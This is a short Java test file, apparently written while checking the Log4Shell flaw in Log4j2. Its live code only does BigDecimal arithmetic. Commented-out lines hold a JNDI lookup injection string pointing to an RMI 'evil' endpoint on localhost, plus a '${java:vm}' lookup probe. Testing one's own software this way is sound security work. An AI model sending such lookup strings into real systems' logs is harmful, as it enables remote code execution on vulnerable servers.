package cn.unknowpupil;


import java.math.BigDecimal;
import java.math.RoundingMode;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * Create at  2021/12/14 by w10g <br> Initialize Log4j2Test ... <br>
 *
 * @Author: <a> unknowpupil </a>
 * @Since: 0.0.1
 */
public class Log4j2Test {
  private static final Logger LOGGER = LogManager.getLogger();

  public static void main(String[] args) {
//    System.out.println(Log4j2Test.class.getName());
//    String tc_category = "${jndi:rmi://127.0.0.1:1099/evil}";
//    String vm = "${java:vm}";
//    LOGGER.info("Hello,{}",vm);
//    LOGGER.debug("fsdfa");
//    LOGGER.info("fsdfa");
//    LOGGER.warn("fsdfa");
//    LOGGER.fatal("fsdfa");

    BigDecimal value = new BigDecimal(0.20);
    BigDecimal target = new BigDecimal(6.00);

    BigDecimal divide = value.subtract(target).setScale(2, RoundingMode.HALF_UP);
    System.out.println(divide);
   divide = divide .divide(target,2, BigDecimal.ROUND_FLOOR);
    System.out.println(divide);
  }

}
